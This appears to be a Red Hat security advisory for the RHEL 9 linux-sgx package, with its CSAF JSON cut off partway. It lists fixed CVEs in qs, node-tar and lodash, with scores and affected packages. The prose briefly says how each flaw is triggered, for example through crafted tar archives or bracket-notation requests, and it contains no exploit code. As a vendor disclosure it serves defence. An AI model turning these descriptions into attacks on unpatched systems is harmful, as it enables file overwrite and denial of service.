Details: The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.
Security Fix(es):
* qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
* node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
* node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
* lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
* node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
For detailed information on changes in this release, see the Red Hat Enterprise Linux 9 Release Notes linked from the References section.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in Lodash. A prototype pollution vulnerability in the _.unset and _.omit functions allows an attacker able to control property paths to delete methods from global prototypes. By removing essential functionalities, this can result in a denial of service.
8.2 (High)
Affected products
Fixed
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in qs, a module used for parsing query strings. A remote attacker can exploit an improper input validation vulnerability by sending specially crafted HTTP requests that use bracket notation (e.g., `a[]=value`). This bypasses the `arrayLimit` option, which is designed to limit the size of parsed arrays and prevent resource exhaustion. Successful exploitation can lead to memory exhaustion, causing a Denial of Service (DoS) where the application crashes or becomes unresponsive, making the service unavailable to users.
7.5 (High)
Affected products
Fixed
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in the node-tar library. This vulnerability allows an attacker to craft malicious archives that, when extracted, can bypass intended security restrictions. This leads to arbitrary file overwrite and symlink poisoning, potentially allowing unauthorized modification of files on the system.
8.2 (High)
Affected products
Fixed
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in node-tar, a library for Node.js. This race condition vulnerability occurs due to incomplete handling of Unicode path collisions within the `path-reservations` system on case-insensitive filesystems, such as macOS APFS. A remote attacker can exploit this by providing a specially crafted tar archive containing filenames that cause these collisions, bypassing internal concurrency safeguards. Successful exploitation can lead to arbitrary file overwrite.
8.8 (High)
Affected products
Fixed
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise.
8.2 (High)
Affected products
Fixed
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
References
40 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:18868 | self |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://access.redhat.com/security/updates/classi… | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2425946 | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2430538 | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2431036 | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2431740 | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2433645 | external |
| https://issues.redhat.com/browse/RHEL-127046 | external |
| https://issues.redhat.com/browse/RHEL-140109 | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2025-13465 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2431740 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-13465 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-13465 | external |
| https://github.com/lodash/lodash/security/advisor… | external |
| https://access.redhat.com/security/cve/CVE-2025-15284 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2425946 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-15284 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-15284 | external |
| https://github.com/ljharb/qs/commit/3086902ecf7f0… | external |
| https://github.com/ljharb/qs/security/advisories/… | external |
| https://access.redhat.com/security/cve/CVE-2026-23745 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2430538 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-23745 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-23745 | external |
| https://github.com/isaacs/node-tar/commit/340eb28… | external |
| https://github.com/isaacs/node-tar/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2026-23950 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2431036 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-23950 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-23950 | external |
| https://github.com/isaacs/node-tar/commit/3b1abfa… | external |
| https://github.com/isaacs/node-tar/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2026-24842 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2433645 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-24842 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-24842 | external |
| https://github.com/isaacs/node-tar/commit/f4a7aa9… | external |
| https://github.com/isaacs/node-tar/security/advis… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update for linux-sgx is now available for Red Hat Enterprise Linux 9.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.",
"title": "Topic"
},
{
"category": "general",
"text": "The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.\n\nSecurity Fix(es):\n\n* qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)\n\n* lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)\n\n* node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Red Hat Enterprise Linux 9 Release Notes linked from the References section.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:18868",
"url": "https://access.redhat.com/errata/RHSA-2026:18868"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/9.8_release_notes/index",
"url": "https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/9.8_release_notes/index"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/#important",
"url": "https://access.redhat.com/security/updates/classification/#important"
},
{
"category": "external",
"summary": "2425946",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2425946"
},
{
"category": "external",
"summary": "2430538",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430538"
},
{
"category": "external",
"summary": "2431036",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431036"
},
{
"category": "external",
"summary": "2431740",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431740"
},
{
"category": "external",
"summary": "2433645",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433645"
},
{
"category": "external",
"summary": "RHEL-127046",
"url": "https://issues.redhat.com/browse/RHEL-127046"
},
{
"category": "external",
"summary": "RHEL-140109",
"url": "https://issues.redhat.com/browse/RHEL-140109"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18868.json"
}
],
"title": "Red Hat Security Advisory: linux-sgx security update",
"tracking": {
"current_release_date": "2026-07-22T15:08:01+00:00",
"generator": {
"date": "2026-07-22T15:08:01+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.7"
}
},
"id": "RHSA-2026:18868",
"initial_release_date": "2026-05-19T13:54:50+00:00",
"revision_history": [
{
"date": "2026-05-19T13:54:50+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-05-19T13:54:50+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-07-22T15:08:01+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Enterprise Linux AppStream (v. 9)",
"product": {
"name": "Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:enterprise_linux:9::appstream"
}
}
}
],
"category": "product_family",
"name": "Red Hat Enterprise Linux"
},
{
"branches": [
{
"category": "product_version",
"name": "linux-sgx-0:2.26-7.el9.src",
"product": {
"name": "linux-sgx-0:2.26-7.el9.src",
"product_id": "linux-sgx-0:2.26-7.el9.src",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/linux-sgx@2.26-7.el9?arch=src"
}
}
}
],
"category": "architecture",
"name": "src"
},
{
"branches": [
{
"category": "product_version",
"name": "sgx-common-0:2.26-7.el9.x86_64",
"product": {
"name": "sgx-common-0:2.26-7.el9.x86_64",
"product_id": "sgx-common-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-common@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-libs-0:2.26-7.el9.x86_64",
"product": {
"name": "sgx-libs-0:2.26-7.el9.x86_64",
"product_id": "sgx-libs-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-libs@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-mpa-0:2.26-7.el9.x86_64",
"product": {
"name": "sgx-mpa-0:2.26-7.el9.x86_64",
"product_id": "sgx-mpa-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-mpa@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-pccs-0:2.26-7.el9.x86_64",
"product": {
"name": "sgx-pccs-0:2.26-7.el9.x86_64",
"product_id": "sgx-pccs-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-pccs@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-pccs-admin-0:2.26-7.el9.x86_64",
"product": {
"name": "sgx-pccs-admin-0:2.26-7.el9.x86_64",
"product_id": "sgx-pccs-admin-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-pccs-admin@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-pckid-tool-0:2.26-7.el9.x86_64",
"product": {
"name": "sgx-pckid-tool-0:2.26-7.el9.x86_64",
"product_id": "sgx-pckid-tool-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-pckid-tool@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "tdx-qgs-0:2.26-7.el9.x86_64",
"product": {
"name": "tdx-qgs-0:2.26-7.el9.x86_64",
"product_id": "tdx-qgs-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/tdx-qgs@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"product": {
"name": "linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"product_id": "linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/linux-sgx-debugsource@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"product": {
"name": "linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"product_id": "linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/linux-sgx-debuginfo@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"product": {
"name": "sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"product_id": "sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-enclave-devel-debuginfo@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"product": {
"name": "sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"product_id": "sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-libs-debuginfo@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"product": {
"name": "sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"product_id": "sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-mpa-debuginfo@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"product": {
"name": "sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"product_id": "sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-pccs-debuginfo@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"product": {
"name": "sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"product_id": "sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-pckid-tool-debuginfo@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"product": {
"name": "tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"product_id": "tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/tdx-attest-libs-debuginfo@2.26-7.el9?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "tdx-qgs-debuginfo-0:2.26-7.el9.x86_64",
"product": {
"name": "tdx-qgs-debuginfo-0:2.26-7.el9.x86_64",
"product_id": "tdx-qgs-debuginfo-0:2.26-7.el9.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/tdx-qgs-debuginfo@2.26-7.el9?arch=x86_64"
}
}
}
],
"category": "architecture",
"name": "x86_64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "linux-sgx-0:2.26-7.el9.src as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src"
},
"product_reference": "linux-sgx-0:2.26-7.el9.src",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "linux-sgx-debuginfo-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64"
},
"product_reference": "linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "linux-sgx-debugsource-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64"
},
"product_reference": "linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
